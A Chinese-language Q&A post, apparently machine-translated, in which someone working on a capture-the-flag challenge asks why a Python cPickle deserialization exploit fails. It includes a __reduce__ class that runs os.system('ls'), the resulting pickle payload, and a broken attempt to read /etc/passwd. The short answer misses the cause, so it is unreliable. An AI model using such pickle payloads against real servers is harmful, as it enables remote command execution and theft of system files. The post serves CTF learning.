我正在尝试为CTF执行cPickle反序列化。我正在开发一个反序列化漏洞的漏洞,尝试生成一个python类,它将在反序列化时在服务器上运行命令,遵循以下示例:https://lincolnloop.com/blog/playing-pickle-security/
import os
import cPickle
# Exploit that we want the target to unpickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('ls',))
shellcode = cPickle.dumps(Exploit())
print shellcode
问题是我试图利用的服务器没有" os"或者"子流程"包含的模块,所以我无法运行shell命令。我尝试使用以下代码生成的对象读取本地文件:
class Exploit(object):
def __reduce__(self):
data = open("/etc/passwd", "rb").read()
return data
shellcode = cPickle.dumps(Exploit()) print shellcode
但是当我尝试运行它来生成有效负载时,它会尝试读取我的本地/ etc / passwd文件并失败并显示错误消息:
shellcode = cPickle.dumps(Exploit())
cPickle.PicklingError:无法挑选< main .Exploit对象at 0x7f14ef4b39d0>:属性查找 main .root:x:0:0:root:/ root:/ b in / sh(/ etc / passwd继续)
当我运行第一个例子时,它会成功生成以下pickle(并且不会尝试在我的机器上执行ls):
cposix
system
p1
(S'ls'
p2
tp3
Rp4
.
那为什么不能使用我的代码?
答案 0 :(得分:1)
"每当你试图挑选一个对象时,会有一些属性可能无法很好地序列化。例如,一个打开的文件句柄在这种情况下,pickle不知道如何处理该对象并将引发错误。"